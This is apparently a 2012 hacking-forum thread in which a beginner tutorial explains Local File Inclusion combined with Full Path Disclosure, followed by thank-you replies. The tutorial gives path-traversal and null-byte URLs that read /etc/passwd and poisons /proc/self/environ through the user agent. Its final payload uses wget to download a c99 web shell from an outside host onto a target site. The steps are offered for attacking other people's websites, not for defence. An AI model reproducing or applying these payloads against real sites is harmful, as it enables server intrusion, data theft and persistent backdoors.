

Forum:[Hack Forums](#)

Thread: [>>Descriptive LFI & FPD tutorial for beginners<<](#)

-VIKING- - February 4, 2012, 7:11 am

LFI & FPD for beginners

About: This is a brief tutorial explaining the basics of using FPD with LFI to upload a shell onto our target system. This tutorial is aimed at less experienced users.

What is FPD? FPD, or Full Path Disclosure, is a basic technique that we can apply to web application hacking to determine the root path of our target.

What is LFI? LFI, which stands for Local File Inclusion, is a technique used to view sensitive data on a system along with gaining the ability to run arbitrary code.

Preparing our attack...

Before we can even start to think about using any of these techniques, we need to be sure that our target application is vulnerable to LFI. We can find a basic indication that our target is using file inclusion, or that it might be vulnerable to an LFI attack, by looking directly at the URL. We should be looking for something like this:

Code `http://site.com/?page=users.php`

`http://site.com/?page=users`

`http://site.com/?page=/somedir/users`

In some cases, it might also be possible that an application is vulnerable when we spot a link like this:

Code `http://site.com/pages/users/`

`http://site.com/users/`

If we do come across URLs like this, we want to be searching for links like the first bunch above (either with a program, or manually) - or we can simply exploit it as we would the others (see below - Exploiting).

Vulnerable files

If we've found a link along the lines of <http://site.com/pages/user/>, the application will be using .htaccess to rewrite the original URL (the one we're looking for) to the one displayed to us. The .htaccess file will usually look something along the lines of this:

Code `Options +FollowSymlinks`

`RewriteEngine on`

`RewriteRule ^pages/([^\s]+)/ /index.php?page=$1 [NC]`As you can see, the rewrote URL looks identical to an exploitable one. But in some cases, we won't even need to locate the original URL.

A PHP file that is vulnerable to LFI usually looks something along the lines of these:

PHP Code

`<?php`

`//First`

`<?php if(isset($_GET["page"])) { include_once($_GET["page"]); } ?>`

```
//second
```

```
<?php if(isset($_GET["page"])) { include_once($_GET["page"].".php"); } ?>
```

```
//third
```

```
<?php if(isset($_GET["page"])) { include_once("pages/include/" . $_GET["page"] . ".php"); } ?>
```

All of the above are vulnerable - but some need slight adjustments in order to perform a successful exploit.

Finding the root...

Before we start to exploit our files, there are a few different tricks we could use to try and discover the root directory of the target. Knowing the root directory of our target can greatly help our cause when exploiting. This technique is called full path disclosure, and there are many ways to do this, but the target outcome is primarily the same: to display an error containing the full path. Any error caused maliciously has the potential to disclose the full path of the file. For example, when a target uses PHP functions such as `htmlentities()` or `opendir()`, we can inject an array into the function to display an error:

Code `http://site.com/?search_query[]=Notice the [], this causes our target script to process an array, something htmlentities() & opendir() do not expect, usually resulting in an error such as:`

Code Warning: `htmlentities()` expects parameter 1 to be string, array given in `/var/www/site/includes/pages/search.php` on line 16As we can see, the full path of the file is displayed in our error.

Another way we can display a similar error is to make our `PHPSESSID` invalid. For example, by inserting some malicious javascript into our URL bar:

Code `javascript:void(document.cookie="PHPSESSID=");`By refreshing the page, this should again allow us to view the full path of the file, usually with an error such as:

Code Warning: `session_start()` [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-', in `/var/www/site/includes/pages/search.php` on line 9

Ofcourse there are many other ways and techniques to getting the same outcomes, for example, I came across a site that used PHP functions to create a .png image from user-uploaded images. I uploaded a broken .png file and an error was displayed containing the full path. Be creative, but not every site is vulnerable to this - simply turning off PHP errors can prevent it.

Exploiting...

Exploiting through LFI can be extremely easy, and it works by including a file that either contains sensitive data or that will allow us to run arbitrary code.

We exploit our target by simply using the URL, and the idea behind it should be fairly clear by now.

Lets say our target's link is this: <http://danswebsite.com/page/user/> OR <http://danswebsite.com/?page=user>

His root directory looks like this (obtained through FPD): `/var/danswebsite/public_html/` and his index file looks a little something like this:

PHP Code

```
<?php if(isset($_GET["page"])) { if(file_exists("includes/" . $_GET["page"] . ".php")) {  
include_once("includes/" . $_GET["page"] . ".php");  
} else { include_once("home.php"); } } else { include_once("home.php"); } ?>
```

Now, his index file automatically puts in the `includes/` directory and adds the .php file extension. This is often used to make the URL's look much cleaner, or because the target might think it somehow secures the site (if your target doesn't put in the .php or a directory, skip a little of this

tutorial).

Now, we can get rid of the .php file extension by using the poison null byte technique. This basically means to insert a null byte (%00) directly after our injected code. This forces the script to ignore anything after it, and we can ignore the includes/ by simply using ../. For example, to access the /etc/passwd file, we would use this:

Code //Use HEX for obvious reasons...

```
http://danswebsite.com/page/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd%00/
```

//preferred

```
http://danswebsite.com/?page=../../../../etc/passwd%00
```

If the file actually displays, we're getting somewhere. Once we've got this far, it shouldn't be too difficult to perform some simple procedures and run arbitrary code. For example, we could use the proc/self/environ directory to do this:

Code `http://danswebsite.com/?page=../../../../proc/self/environ%00`

We could then use a firefox-addon like tamper data to make our target display his PHP info. This could be achieved by simply altering the user agent to our desired code:

Code `<?php phpinfo(); ?>`

We could then use this exploit (if it works) to upload our shell:

Code `<? exec('wget http://sh3ll.org/c99.txt -O some_shell_name.php'); ?>`

There are lots more you could do with LFI, but this tutorial covers only the basic technique.

Conclusion...

Not everything in this tutorial will go to plan in every situation, so it's important to be creative, but if done correctly, local file inclusion can be very powerful when exploiting a website.

Hopefully this tutorial will have been helpful to someone - and apologies if there are any errors in the logic, or if anything is difficult to understand/badly worded.

DEATHLY BEAM - February 4, 2012, 12:32 pm

Nice tutorial man, could be extremely usefull at some point!

ifido2020 - February 6, 2012, 12:31 am

Looking so good. Thanks for the share :)

soeasy - June 18, 2012, 4:24 pm

Nice detailed tutorial.

Thanks a lot?

~soeasy

ZeferiniX - July 1, 2012, 10:04 pm

Nice tutorial. Thanks a lot! Best tut about LFI & FPD so far for me

xSystemNightmare - July 1, 2012, 11:36 pm

Hey is there possibly any google dorks for this exploit anyways great TUT

loginregister - *July 2, 2012, 1:23 am*

Thanks for your sharing~ Very nice TUT

Mr.Green™ - *July 2, 2012, 2:30 am*

Thanks for sharing, looks very HQ, will check it out.

Conch - *July 2, 2012, 3:09 am*

Thank you, -VIKING- for this amazing tutorial :D

I did some FPD on a challenge website, but I couldn't find much information covered on it :)
Thanks!

r0nix - *July 16, 2012, 7:39 am*

nub question, but why does altering the user agent get our code executed? and has this been fixed/patched in php/suhosin?

rufinatti - *July 16, 2012, 12:41 pm*

nicely written tutorial.

padding to get 35 characters.

Turkon - *July 16, 2012, 2:33 pm*

Looking So Good,Thanks 4 share :) :) :) !!